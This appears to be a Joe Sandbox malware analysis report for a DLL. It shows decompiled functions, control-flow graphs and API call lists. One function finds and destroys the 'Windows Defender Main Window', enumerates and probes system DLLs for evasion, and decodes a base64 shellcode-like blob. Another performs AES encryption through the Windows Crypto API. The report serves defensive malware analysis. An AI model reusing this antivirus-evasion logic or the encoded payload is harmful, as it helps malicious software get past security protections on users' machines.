22309->22310 22311 6cb79e20 43 API calls 22310->22311 22312 6cb7fc42 22311->22312 22313 6cb73420 41 API calls 22312->22313 22314 6cb7fc7c 22313->22314 22315 6cb802fc 22314->22315 22316 6cb75040 43 API calls 22314->22316 22317 6cb73a70 43 API calls 22315->22317 22316->22315 22318 6cb80314 22317->22318 22319 6cb75040 43 API calls 22318->22319 22320 6cb80326 22319->22320 22321 6cb73a70 43 API calls 22320->22321 22322 6cb80335 22321->22322 22323 6cb75040 43 API calls 22322->22323 22324 6cb80347 22323->22324 22325 6cb72750 __DllMainCRTStartup@12 41 API calls 22324->22325 22326 6cb8035f 22325->22326 22327 6cb72750 __DllMainCRTStartup@12 41 API calls 22326->22327 22328 6cb8036e 22327->22328 22329 6cb72750 __DllMainCRTStartup@12 41 API calls 22328->22329 22330 6cb8037d 22329->22330 22331 6cb72750 __DllMainCRTStartup@12 41 API calls 22330->22331 22332 6cb8038c 22331->22332 22333 6cb72730 task 41 API calls 22332->22333 22334 6cb8039e 22333->22334 22335 6cb93c4a 22336 6cb93c57 22335->22336 22337 6cb92007 _unexpected 14 API calls 22336->22337 22338 6cb93c71 22337->22338 22339 6cb91657 ___free_lconv_mon 14 API calls 22338->22339 22340 6cb93c7d 22339->22340 22341 6cb92007 _unexpected 14 API calls 22340->22341 22345 6cb93ca3 22340->22345 22342 6cb93c97 22341->22342 22344 6cb91657 ___free_lconv_mon 14 API calls 22342->22344 22344->22345 22346 6cb93caf 22345->22346 22347 6cb91a07 6 API calls _unexpected 22345->22347 22347->22345 22348 6cb88dce 22349 6cb79e20 43 API calls 22348->22349 22350 6cb88dda 22349->22350 22351 6cb72730 task 41 API calls 22350->22351 22353 6cb88e1a 22351->22353 22352 6cb72490 _Error_objects 43 API calls 22352->22353 22353->22352 22354 6cb72730 task 41 API calls 22353->22354 22357 6cb88e9d 22353->22357 22354->22353 22355 6cb88ffb 22356 6cb74e30 43 API calls 22356->22357 22357->22355 22357->22356 22358 6cb72730 41 API calls task 22357->22358 22358->22357 22359 6cb71100 22360 6cb71134 22359->22360 22361 6cb7111d 22359->22361 22362 6cb71169 DefWindowProcA 22360->22362 22370 6cb71132 DefWindowProcA 22360->22370 22363 6cb71126 22361->22363 22364 6cb7113f CreateDialogParamA CloseWindow 22361->22364 22366 6cb711c5 22362->22366 22367 6cb711a3 PostQuitMessage 22363->22367 22368 6cb7112c 22363->22368 22364->22366 22367->22366 22369 6cb71197 DestroyWindow 22368->22369 22368->22370 22369->22366 22370->22366

                    Executed Functions

                    Function 6CB711D0 Relevance: 98.4, APIs: 52, Strings: 4, Instructions: 423windowCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 0 6cb711d0-6cb71203 1 6cb71205-6cb7120c 0->1 2 6cb71234-6cb7123b 0->2 5 6cb71792-6cb717bd DefWindowProcA 1->5 6 6cb71212-6cb71216 1->6 3 6cb717c7-6cb717fa call 6cb72490 call 6cb742e0 2->3 4 6cb71241-6cb71248 2->4 25 6cb717ff-6cb71816 call 6cb72730 3->25 7 6cb7124e-6cb71255 4->7 8 6cb71818 4->8 9 6cb7184c-6cb71859 5->9 11 6cb7121c-6cb71220 6->11 12 6cb71828-6cb71830 PostQuitMessage 6->12 15 6cb7125b 7->15 16 6cb7181a 7->16 18 6cb7184a 8->18 13 6cb71226-6cb7122d 11->13 14 6cb7181c-6cb71826 DestroyWindow 11->14 12->18 19 6cb71260-6cb71274 FindWindowA 13->19 20 6cb7122f 13->20 14->18 21 6cb71832-6cb71848 DefWindowProcA 15->21 16->18 18->9 23 6cb71785-6cb71787 ExitProcess 19->23 24 6cb7127a-6cb7154f DestroyWindow call 6cb72520 GetEnvironmentStrings call 6cb72490 call 6cb73770 call 6cb72730 GetEnvironmentStrings call 6cb72490 call 6cb73770 call 6cb72730 GetEnvironmentStrings call 6cb72490 call 6cb73770 call 6cb72730 GetEnvironmentStrings call 6cb72490 call 6cb73770 call 6cb72730 GetEnvironmentStrings call 6cb72490 call 6cb73770 call 6cb72730 GetEnvironmentStringsA call 6cb72490 call 6cb73770 call 6cb72730 call 6cb8ebd0 GetSystemDirectoryA GetEnvironmentStrings call 6cb72490 call 6cb73770 call 6cb72730 GetEnvironmentStringsA call 6cb72490 call 6cb73770 call 6cb72730 GetEnvironmentStrings call 6cb72490 call 6cb73770 call 6cb72730 PathAppendA call 6cb8beb0 GetEnvironmentStrings call 6cb72490 call 6cb73770 call 6cb72730 GetEnvironmentStringsA call 6cb72490 call 6cb73770 call 6cb72730 GetEnvironmentStrings call 6cb72490 call 6cb73770 call 6cb72730 FindFirstFileA 19->24 20->21 21->9 21->18 106 6cb71552-6cb71565 FindNextFileA 24->106 25->18 107 6cb71567-6cb71587 call 6cb72490 call 6cb73770 106->107 108 6cb7159d-6cb71688 FindClose GetEnvironmentStrings call 6cb72490 call 6cb73770 call 6cb72730 GetEnvironmentStrings call 6cb72490 call 6cb73770 call 6cb72730 GetEnvironmentStrings call 6cb72490 call 6cb73770 call 6cb72730 call 6cb73420 GetTickCount call 6cb737c0 call 6cb731a0 call 6cb731b0 106->108 116 6cb7158c-6cb7159b call 6cb72730 107->116 141 6cb71693-6cb71699 108->141 116->106 142 6cb71723-6cb71727 141->142 143 6cb7169f-6cb716bf call 6cb733d0 LoadLibraryExA 141->143 144 6cb7175d-6cb7177e call 6cb73420 call 6cb72730 call 6cb72750 142->144 145 6cb71729-6cb71757 call 6cb72800 SendMessageTimeoutA KiUserCallbackDispatcher 142->145 152 6cb716c1-6cb716c9 143->152 153 6cb7171e 143->153 163 6cb71783-6cb7178d 144->163 145->144 156 6cb716cb-6cb716dd 152->156 157 6cb7170a-6cb71718 SleepEx FreeLibrary 152->157 153->141 158 6cb716df-6cb716e5 156->158 159 6cb716e8-6cb71707 call 6cb733d0 GetProcAddress 156->159 157->153 158->159 159->157 163->18
                    C-Code - Quality: 96%
                    			E6CB711D0(void* __edi, struct HWND__* _a4, int _a8, signed int _a12, long _a16) {
				int _v8;
				intOrPtr _v16;
				int _v20;
				char _v32;
				signed int _v36;
				int _v40;
				signed int _v44;
				char* _v48;
				struct HWND__* _v52;
				void* _v56;
				char* _v60;
				intOrPtr _v64;
				signed int _v68;
				signed char* _v72;
				_Unknown_base(*)()* _v76;
				signed int _v80;
				CHAR* _v84;
				signed int _v88;
				char _v112;
				char _v136;
				char _v160;
				char _v184;
				char _v208;
				char _v232;
				char _v256;
				char _v280;
				char _v304;
				char _v328;
				char _v352;
				char _v376;
				char _v400;
				char _v424;
				char _v448;
				char _v472;
				char _v496;
				char _v520;
				struct _WIN32_FIND_DATAA _v840;
				intOrPtr _t189;
				long _t191;
				struct HWND__* _t197;
				CHAR* _t222;
				CHAR* _t233;
				CHAR* _t249;
				void* _t258;
				signed int _t260;
				signed int _t291;
				signed int _t300;
				signed int _t382;
				intOrPtr _t402;
				intOrPtr _t408;

				_t407 = __edi;
				_push(0xffffffff);
				_push(0x6cb98a20);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t408;
				 *0x6cbb1ee8 = _a4;
				_v20 = _a8;
				if(_v20 > 0x111) {
					__eflags = _v20 - 0x401;
					if(__eflags == 0) {
						_v84 = "vQdkKgJVw";
						E6CB72490( &_v520, __edi, __eflags, _v84);
						_v8 = 0x12;
						_t189 = E6CB742E0(0x6cbb1f28, __edi, "VYvsgcRA////U1FSV1aJtUT///+JjUD////pgQAAAAAAAAAAAAAAAAAAAAAAAAB1jAAAAJwAAAEAAAADAAAA0yPNEM8WWNpHZXRQcm9jQWRkcmVzcwBMZHJHZXRQcm9jZWR1cmVBZGRyZXNzRXgATnRRdWVyeVZpcnR1YWxNZW1vcnkARGxsUmVnaXN0ZXJTZXJ2ZXIAbnRkbGwuZGxsAOgAAAAAj0X0gW30ZRhKAMeFXP////////9Si1X0i4LvF0oA",  &_v520, 0x6cbb156c); // executed
						 *0x6cbb1edc = _t189;
						_v8 = 0xffffffff;
						E6CB72730( &_v520);
						goto L36;
					} else {
						__eflags = _v20 - 0x402;
						if(_v20 == 0x402) {
							goto L36;
						} else {
							__eflags = _v20 - 0x403;
							if(_v20 == 0x403) {
								goto L36;
							} else {
								goto L35;
							}
						}
					}
				} else {
					if(_v20 == 0x111) {
						_v80 = _a12 & 0xffff;
						_v88 = _v80;
						_t191 = DefWindowProcA(_a4, _a8, _a12, _a16);
					} else {
						if(_v20 == 2) {
							PostQuitMessage(0);
							goto L36;
						} else {
							if(_v20 == 0x10) {
								DestroyWindow(_a4);
								goto L36;
							} else {
								if(_v20 == 0x110) {
									_t197 = FindWindowA(0, "Windows Defender Main Window"); // executed
									_v52 = _t197;
									__eflags = _v52;
									if(__eflags == 0) {
										ExitProcess(0);
									}
									DestroyWindow(_v52); // executed
									E6CB72520( &_v32);
									_v8 = 0;
									E6CB72490( &_v112, __edi, __eflags, GetEnvironmentStrings());
									_v8 = 1;
									E6CB73770( &_v32, __edi,  &_v112);
									_v8 = 0;
									E6CB72730( &_v112);
									E6CB72490( &_v136, __edi, __eflags, GetEnvironmentStrings());
									_v8 = 2;
									E6CB73770( &_v32, __edi,  &_v136);
									_v8 = 0;
									E6CB72730( &_v136);
									E6CB72490( &_v160, _t407, __eflags, GetEnvironmentStrings());
									_v8 = 3;
									E6CB73770( &_v32, _t407,  &_v160);
									_v8 = 0;
									E6CB72730( &_v160);
									E6CB72490( &_v184, _t407, __eflags, GetEnvironmentStrings());
									_v8 = 4;
									E6CB73770( &_v32, _t407,  &_v184);
									_v8 = 0;
									E6CB72730( &_v184);
									E6CB72490( &_v208, _t407, __eflags, GetEnvironmentStrings());
									_v8 = 5;
									E6CB73770( &_v32, _t407,  &_v208);
									_v8 = 0;
									E6CB72730( &_v208); // executed
									_t222 = GetEnvironmentStringsA(); // executed
									E6CB72490( &_v232, _t407, __eflags, _t222);
									_v8 = 6;
									E6CB73770( &_v32, _t407,  &_v232);
									_v8 = 0;
									E6CB72730( &_v232);
									_push(0x208);
									_v48 = E6CB8EBD0();
									GetSystemDirectoryA(_v48, 0x208);
									E6CB72490( &_v256, _t407, __eflags, GetEnvironmentStrings());
									_v8 = 7;
									E6CB73770( &_v32, _t407,  &_v256);
									_v8 = 0;
									E6CB72730( &_v256); // executed
									_t233 = GetEnvironmentStringsA(); // executed
									E6CB72490( &_v280, _t407, __eflags, _t233);
									_v8 = 8;
									E6CB73770( &_v32, _t407,  &_v280);
									_v8 = 0;
									E6CB72730( &_v280);
									E6CB72490( &_v304, _t407, __eflags, GetEnvironmentStrings());
									_v8 = 9;
									E6CB73770( &_v32, _t407,  &_v304);
									_v8 = 0;
									E6CB72730( &_v304);
									PathAppendA(_v48, "*.dll"); // executed
									E6CB8BEB0(_t407,  &_v840, 0, 0x140);
									E6CB72490( &_v328, _t407, __eflags, GetEnvironmentStrings());
									_v8 = 0xa;
									E6CB73770( &_v32, _t407,  &_v328);
									_v8 = 0;
									E6CB72730( &_v328); // executed
									_t249 = GetEnvironmentStringsA(); // executed
									E6CB72490( &_v352, _t407, __eflags, _t249);
									_v8 = 0xb;
									E6CB73770( &_v32, _t407,  &_v352);
									_v8 = 0;
									E6CB72730( &_v352);
									E6CB72490( &_v376, _t407, __eflags, GetEnvironmentStrings());
									_v8 = 0xc;
									E6CB73770( &_v32, _t407,  &_v376);
									_v8 = 0;
									E6CB72730( &_v376);
									_t258 = FindFirstFileA(_v48,  &_v840); // executed
									_v56 = _t258;
									while(1) {
										_t260 = FindNextFileA(_v56,  &_v840); // executed
										__eflags = _t260;
										if(__eflags <= 0) {
											break;
										}
										E6CB72490( &_v400, _t407, __eflags,  &(_v840.cFileName));
										_v8 = 0xd;
										E6CB73770( &_v32, _t407,  &_v400); // executed
										_v8 = 0;
										E6CB72730( &_v400);
									}
									FindClose(_v56); // executed
									E6CB72490( &_v424, _t407, __eflags, GetEnvironmentStrings());
									_v8 = 0xe;
									E6CB73770( &_v32, _t407,  &_v424);
									_v8 = 0;
									E6CB72730( &_v424);
									E6CB72490( &_v448, _t407, __eflags, GetEnvironmentStrings());
									_v8 = 0xf;
									E6CB73770( &_v32, _t407,  &_v448);
									_v8 = 0;
									E6CB72730( &_v448);
									E6CB72490( &_v472, _t407, __eflags, GetEnvironmentStrings());
									_v8 = 0x10;
									E6CB73770( &_v32, _t407,  &_v472);
									_v8 = 0;
									E6CB72730( &_v472);
									E6CB73420( &_v32);
									E6CB737C0( &_v496, __eflags,  &_v496, GetTickCount());
									_v8 = 0x11;
									_v40 = 0;
									_v60 =  &_v32;
									_v44 = E6CB731A0(_v60);
									_v64 = E6CB731B0(_v60);
									while(1) {
										__eflags = _v44 - _v64;
										if(_v44 == _v64) {
											break;
										}
										_v68 = _v44;
										_v36 = LoadLibraryExA(E6CB733D0(_v68), 0, 2);
										__eflags = _v36;
										if(_v36 != 0) {
											__eflags = _v36 & 0x000000ff;
											if((_v36 & 0x000000ff) != 0) {
												_v72 = _v36 - 1;
												__eflags = ( *_v72 & 0x000000ff) - 0x4d;
												if(( *_v72 & 0x000000ff) != 0x4d) {
													_t382 = _v40 + 1;
													__eflags = _t382;
													_v40 = _t382;
												}
												_v76 = GetProcAddress(_v36, E6CB733D0( &_v496));
												_t300 = _v40 + _v76;
												__eflags = _t300;
												_v40 = _t300;
											}
											SleepEx(0xa, 0);
											FreeLibrary(_v36);
										}
										_t291 = _v44 + 0x18;
										__eflags = _t291;
										_v44 = _t291;
									}
									__eflags = _v40;
									if(_v40 == 0) {
										_t402 =  *0x6cbb1570; // 0x6cb9ab30
										E6CB72800(0x6cbb1f58, _t402);
										SendMessageTimeoutA(_a4, 0x401, 0, 0, 0, 0, 0); // executed
										CloseWindow(_a4); // executed
									}
									E6CB73420( &_v32);
									_v8 = 0;
									E6CB72730( &_v496);
									_v8 = 0xffffffff;
									E6CB72750( &_v32); // executed
									L36:
									_t191 = 0;
									__eflags = 0;
								} else {
									L35:
									_t191 = DefWindowProcA(_a4, _a8, _a12, _a16); // executed
								}
							}
						}
					}
				}
				 *[fs:0x0] = _v16;
				return _t191;
			}





















































                    0x6cb711d0
                    0x6cb711d3
                    0x6cb711d5
                    0x6cb711e0
                    0x6cb711e1
                    0x6cb711f1
                    0x6cb711f9
                    0x6cb71203
                    0x6cb71234
                    0x6cb7123b
                    0x6cb717c7
                    0x6cb717d8
                    0x6cb717dd
                    0x6cb717fa
                    0x6cb717ff
                    0x6cb71804
                    0x6cb71811
                    0x00000000
                    0x6cb71241
                    0x6cb71241
                    0x6cb71248
                    0x00000000
                    0x6cb7124e
                    0x6cb7124e
                    0x6cb71255
                    0x00000000
                    0x6cb7125b
                    0x00000000
                    0x6cb7125b
                    0x6cb71255
                    0x6cb71248
                    0x6cb71205
                    0x6cb7120c
                    0x6cb7179e
                    0x6cb717a4
                    0x6cb717b7
                    0x6cb71212
                    0x6cb71216
                    0x6cb7182a
                    0x00000000
                    0x6cb7121c
                    0x6cb71220
                    0x6cb71820
                    0x00000000
                    0x6cb71226
                    0x6cb7122d
                    0x6cb71267
                    0x6cb7126d
                    0x6cb71270
                    0x6cb71274
                    0x6cb71787
                    0x6cb71787
                    0x6cb7127e
                    0x6cb71287
                    0x6cb7128c
                    0x6cb7129d
                    0x6cb712a2
                    0x6cb712ad
                    0x6cb712b2
                    0x6cb712b9
                    0x6cb712cb
                    0x6cb712d0
                    0x6cb712de
                    0x6cb712e3
                    0x6cb712ed
                    0x6cb712ff
                    0x6cb71304
                    0x6cb71312
                    0x6cb71317
                    0x6cb71321
                    0x6cb71333
                    0x6cb71338
                    0x6cb71346
                    0x6cb7134b
                    0x6cb71355
                    0x6cb71367
                    0x6cb7136c
                    0x6cb7137a
                    0x6cb7137f
                    0x6cb71389
                    0x6cb7138e
                    0x6cb7139b
                    0x6cb713a0
                    0x6cb713ae
                    0x6cb713b3
                    0x6cb713bd
                    0x6cb713c2
                    0x6cb713cf
                    0x6cb713db
                    0x6cb713ee
                    0x6cb713f3
                    0x6cb71401
                    0x6cb71406
                    0x6cb71410
                    0x6cb71415
                    0x6cb71422
                    0x6cb71427
                    0x6cb71435
                    0x6cb7143a
                    0x6cb71444
                    0x6cb71456
                    0x6cb7145b
                    0x6cb71469
                    0x6cb7146e
                    0x6cb71478
                    0x6cb71486
                    0x6cb7149a
                    0x6cb714af
                    0x6cb714b4
                    0x6cb714c2
                    0x6cb714c7
                    0x6cb714d1
                    0x6cb714d6
                    0x6cb714e3
                    0x6cb714e8
                    0x6cb714f6
                    0x6cb714fb
                    0x6cb71505
                    0x6cb71517
                    0x6cb7151c
                    0x6cb7152a
                    0x6cb7152f
                    0x6cb71539
                    0x6cb71549
                    0x6cb7154f
                    0x6cb71552
                    0x6cb7155d
                    0x6cb71563
                    0x6cb71565
                    0x00000000
                    0x00000000
                    0x6cb71574
                    0x6cb71579
                    0x6cb71587
                    0x6cb7158c
                    0x6cb71596
                    0x6cb71596
                    0x6cb715a1
                    0x6cb715b4
                    0x6cb715b9
                    0x6cb715c7
                    0x6cb715cc
                    0x6cb715d6
                    0x6cb715e8
                    0x6cb715ed
                    0x6cb715fb
                    0x6cb71600
                    0x6cb7160a
                    0x6cb7161c
                    0x6cb71621
                    0x6cb7162f
                    0x6cb71634
                    0x6cb7163e
                    0x6cb71646
                    0x6cb71659
                    0x6cb71661
                    0x6cb71665
                    0x6cb7166f
                    0x6cb7167a
                    0x6cb71685
                    0x6cb71693
                    0x6cb71696
                    0x6cb71699
                    0x00000000
                    0x00000000
                    0x6cb716a2
                    0x6cb716b8
                    0x6cb716bb
                    0x6cb716bf
                    0x6cb716c4
                    0x6cb716c9
                    0x6cb716d1
                    0x6cb716da
                    0x6cb716dd
                    0x6cb716e2
                    0x6cb716e2
                    0x6cb716e5
                    0x6cb716e5
                    0x6cb716fe
                    0x6cb71704
                    0x6cb71704
                    0x6cb71707
                    0x6cb71707
                    0x6cb7170e
                    0x6cb71718
                    0x6cb71718
                    0x6cb7168d
                    0x6cb7168d
                    0x6cb71690
                    0x6cb71690
                    0x6cb71723
                    0x6cb71727
                    0x6cb71729
                    0x6cb71735
                    0x6cb7174d
                    0x6cb71757
                    0x6cb71757
                    0x6cb71760
                    0x6cb71765
                    0x6cb7176f
                    0x6cb71774
                    0x6cb7177e
                    0x6cb7184a
                    0x6cb7184a
                    0x6cb7184a
                    0x6cb7122f
                    0x6cb71832
                    0x6cb71842
                    0x6cb71842
                    0x6cb7122d
                    0x6cb71220
                    0x6cb71216
                    0x6cb7120c
                    0x6cb7184f
                    0x6cb71859

                    APIs
                    • FindWindowA.USER32 ref: 6CB71267
                    • DestroyWindow.USER32(00000000), ref: 6CB7127E
                    • GetEnvironmentStrings.KERNEL32 ref: 6CB71293
                    • task.LIBCPMTD ref: 6CB712B9
                    • GetEnvironmentStrings.KERNEL32(?,00000000), ref: 6CB712BE
                    • task.LIBCPMTD ref: 6CB712ED
                    • GetEnvironmentStrings.KERNEL32(?,00000000), ref: 6CB712F2
                    • task.LIBCPMTD ref: 6CB71321
                    • GetEnvironmentStrings.KERNEL32(?,00000000), ref: 6CB71326
                    • task.LIBCPMTD ref: 6CB71355
                    • GetEnvironmentStrings.KERNEL32(?,00000000), ref: 6CB7135A
                    • task.LIBCPMTD ref: 6CB71389
                    • GetEnvironmentStringsA.KERNEL32(?,00000000), ref: 6CB7138E
                    • task.LIBCPMTD ref: 6CB713BD
                    • GetSystemDirectoryA.KERNEL32 ref: 6CB713DB
                    • GetEnvironmentStrings.KERNEL32 ref: 6CB713E1
                    • DefWindowProcA.USER32(?,?,00000111,?), ref: 6CB717B7
                    • DestroyWindow.USER32(?), ref: 6CB71820
                    • PostQuitMessage.USER32(00000000), ref: 6CB7182A
                    • DefWindowProcA.USER32(?,?,00000403,?), ref: 6CB71842
                    Strings
                    • vQdkKgJVw, xrefs: 6CB717C7, 6CB717D1
                    • VYvsgcRA////U1FSV1aJtUT///+JjUD////pgQAAAAAAAAAAAAAAAAAAAAAAAAB1jAAAAJwAAAEAAAADAAAA0yPNEM8WWNpHZXRQcm9jQWRkcmVzcwBMZHJHZXRQcm9jZWR1cmVBZGRyZXNzRXgATnRRdWVyeVZpcnR1YWxNZW1vcnkARGxsUmVnaXN0ZXJTZXJ2ZXIAbnRkbGwuZGxsAOgAAAAAj0X0gW30ZRhKAMeFXP////////9Si1X0i4LvF0oA, xrefs: 6CB717F0
                    • *.dll, xrefs: 6CB7147D
                    • Windows Defender Main Window, xrefs: 6CB71260
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: EnvironmentStrings$task$Window$DestroyProc$DirectoryFindMessagePostQuitSystem
                    • String ID: *.dll$VYvsgcRA////U1FSV1aJtUT///+JjUD////pgQAAAAAAAAAAAAAAAAAAAAAAAAB1jAAAAJwAAAEAAAADAAAA0yPNEM8WWNpHZXRQcm9jQWRkcmVzcwBMZHJHZXRQcm9jZWR1cmVBZGRyZXNzRXgATnRRdWVyeVZpcnR1YWxNZW1vcnkARGxsUmVnaXN0ZXJTZXJ2ZXIAbnRkbGwuZGxsAOgAAAAAj0X0gW30ZRhKAMeFXP////////9Si1X0i4LvF0oA$Windows Defender Main Window$vQdkKgJVw
                    • API String ID: 3244807520-1408222696
                    • Opcode ID: 93d9fda98de3c2e34ab809b95e6bb1ba0121430b0526acf8a40fb4cc07c455b5
                    • Instruction ID: d83950fa3ac1c54f0d7f7d3cd1c9c51a071adb8bda7a1408a1debc8bcb04aeb4
                    • Opcode Fuzzy Hash: 93d9fda98de3c2e34ab809b95e6bb1ba0121430b0526acf8a40fb4cc07c455b5
                    • Instruction Fuzzy Hash: 21126D71D00288DBCB24DFA4CD58BEEB778AF16305F148198E526A7690DF745A48CFB2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C1508 Relevance: 18.2, APIs: 12, Instructions: 163encryptionCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 2971 27c1508-27c1548 CryptAcquireContextW 2972 27c154e-27c158a memcpy CryptImportKey 2971->2972 2973 27c169f-27c16a5 GetLastError 2971->2973 2975 27c168a-27c1690 GetLastError 2972->2975 2976 27c1590-27c15a2 CryptSetKeyParam 2972->2976 2974 27c16a8-27c16af 2973->2974 2977 27c1693-27c169d CryptReleaseContext 2975->2977 2978 27c15a8-27c15b1 2976->2978 2979 27c1676-27c167c GetLastError 2976->2979 2977->2974 2981 27c15b9-27c15c6 call 27c33dc 2978->2981 2982 27c15b3-27c15b5 2978->2982 2980 27c167f-27c1688 CryptDestroyKey 2979->2980 2980->2977 2986 27c15cc-27c15d5 2981->2986 2987 27c166d-27c1674 2981->2987 2982->2981 2983 27c15b7 2982->2983 2983->2981 2988 27c15d8-27c15e0 2986->2988 2987->2980 2989 27c15e5-27c1602 memcpy 2988->2989 2990 27c15e2 2988->2990 2991 27c161d-27c1629 2989->2991 2992 27c1604-27c161b CryptEncrypt 2989->2992 2990->2989 2993 27c1632-27c1634 2991->2993 2992->2993 2994 27c1644-27c164f GetLastError 2993->2994 2995 27c1636-27c1640 2993->2995 2997 27c1651-27c1661 2994->2997 2998 27c1663-27c166b call 27c61da 2994->2998 2995->2988 2996 27c1642 2995->2996 2996->2997 2997->2980 2998->2980
                    C-Code - Quality: 50%
                    			E027C1508(int __eax, intOrPtr _a4, int _a8, void* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				int _v8;
				long* _v12;
				int _v16;
				void* _v20;
				long* _v24;
				void* _v39;
				char _v40;
				void _v56;
				int _v60;
				intOrPtr _v64;
				void _v67;
				char _v68;
				void* _t61;
				int _t68;
				signed int _t76;
				int _t79;
				int _t81;
				void* _t85;
				long _t86;
				int _t90;
				signed int _t94;
				int _t101;
				void* _t102;
				int _t103;
				void* _t104;
				void* _t105;
				void* _t106;

				_t103 = __eax;
				_t94 = 6;
				_v68 = 0;
				memset( &_v67, 0, _t94 << 2);
				_t105 = _t104 + 0xc;
				asm("stosw");
				asm("stosb");
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				asm("stosb");
				_t61 =  *0x27ca0e8( &_v24, 0, 0, 0x18, 0xf0000000); // executed
				if(_t61 == 0) {
					_a8 = GetLastError();
				} else {
					_t101 = 0x10;
					memcpy( &_v56, _a8, _t101);
					_t106 = _t105 + 0xc;
					_v60 = _t101;
					_v67 = 2;
					_v64 = 0x660e;
					_v68 = 8;
					_t68 = CryptImportKey(_v24,  &_v68, 0x1c, 0, 0,  &_v12); // executed
					if(_t68 == 0) {
						_a8 = GetLastError();
					} else {
						_push(0);
						_push( &_v40);
						_push(1);
						_push(_v12);
						if( *0x27ca0e4() == 0) {
							_a8 = GetLastError();
						} else {
							_t18 = _t103 + 0xf; // 0x10
							_t76 = _t18 & 0xfffffff0;
							if(_a4 != 0 && _t76 == _t103) {
								_t76 = _t76 + _t101;
							}
							_t102 = E027C33DC(_t76);
							_v20 = _t102;
							if(_t102 == 0) {
								_a8 = 8;
							} else {
								_v16 = 0;
								_a8 = 0;
								while(1) {
									_t79 = 0x10;
									_v8 = _t79;
									if(_t103 <= _t79) {
										_v8 = _t103;
									}
									memcpy(_t102, _a12, _v8);
									_t81 = _v8;
									_a12 = _a12 + _t81;
									_t103 = _t103 - _t81;
									_t106 = _t106 + 0xc;
									if(_a4 == 0) {
										_t85 =  *0x27ca0a8(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8);
									} else {
										_t85 =  *0x27ca0c0(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8, 0x20);
									}
									if(_t85 == 0) {
										break;
									}
									_t90 = _v8;
									_v16 = _v16 + _t90;
									_t102 = _t102 + _t90;
									if(_t103 != 0) {
										continue;
									} else {
										L17:
										 *_a16 = _v20;
										 *_a20 = _v16;
									}
									goto L21;
								}
								_t86 = GetLastError();
								_a8 = _t86;
								if(_t86 != 0) {
									E027C61DA(_v20);
								} else {
									goto L17;
								}
							}
						}
						L21:
						CryptDestroyKey(_v12);
					}
					CryptReleaseContext(_v24, 0);
				}
				return _a8;
			}






























                    0x027c1511
                    0x027c1517
                    0x027c151a
                    0x027c1520
                    0x027c1520
                    0x027c1522
                    0x027c1524
                    0x027c1527
                    0x027c152d
                    0x027c152e
                    0x027c152f
                    0x027c1535
                    0x027c153a
                    0x027c1540
                    0x027c1548
                    0x027c16a5
                    0x027c154e
                    0x027c1550
                    0x027c1559
                    0x027c155e
                    0x027c1570
                    0x027c1573
                    0x027c1577
                    0x027c157e
                    0x027c1582
                    0x027c158a
                    0x027c1690
                    0x027c1590
                    0x027c1590
                    0x027c1594
                    0x027c1595
                    0x027c1597
                    0x027c15a2
                    0x027c167c
                    0x027c15a8
                    0x027c15a8
                    0x027c15ab
                    0x027c15b1
                    0x027c15b7
                    0x027c15b7
                    0x027c15bf
                    0x027c15c1
                    0x027c15c6
                    0x027c166d
                    0x027c15cc
                    0x027c15d2
                    0x027c15d5
                    0x027c15d8
                    0x027c15da
                    0x027c15db
                    0x027c15e0
                    0x027c15e2
                    0x027c15e2
                    0x027c15ec
                    0x027c15f1
                    0x027c15f4
                    0x027c15f7
                    0x027c15f9
                    0x027c1602
                    0x027c162c
                    0x027c1604
                    0x027c1615
                    0x027c1615
                    0x027c1634
                    0x00000000
                    0x00000000
                    0x027c1636
                    0x027c1639
                    0x027c163c
                    0x027c1640
                    0x00000000
                    0x027c1642
                    0x027c1651
                    0x027c1657
                    0x027c165f
                    0x027c165f
                    0x00000000
                    0x027c1640
                    0x027c1644
                    0x027c164a
                    0x027c164f
                    0x027c1666
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c164f
                    0x027c15c6
                    0x027c167f
                    0x027c1682
                    0x027c1682
                    0x027c1697
                    0x027c1697
                    0x027c16af

                    APIs
                    • CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,027C5088,00000001,027C3ECE,00000000), ref: 027C1540
                    • memcpy.NTDLL(027C5088,027C3ECE,00000010,?,?,?,027C5088,00000001,027C3ECE,00000000,?,027C66D9,00000000,027C3ECE,?,7491C740), ref: 027C1559
                    • CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 027C1582
                    • CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 027C159A
                    • memcpy.NTDLL(00000000,7491C740,038C9600,00000010), ref: 027C15EC
                    • CryptEncrypt.ADVAPI32(00000000,00000000,00000000,00000000,00000000,038C9600,00000020,?,?,00000010), ref: 027C1615
                    • GetLastError.KERNEL32(?,?,00000010), ref: 027C1644
                    • GetLastError.KERNEL32 ref: 027C1676
                    • CryptDestroyKey.ADVAPI32(00000000), ref: 027C1682
                    • GetLastError.KERNEL32 ref: 027C168A
                    • CryptReleaseContext.ADVAPI32(?,00000000), ref: 027C1697
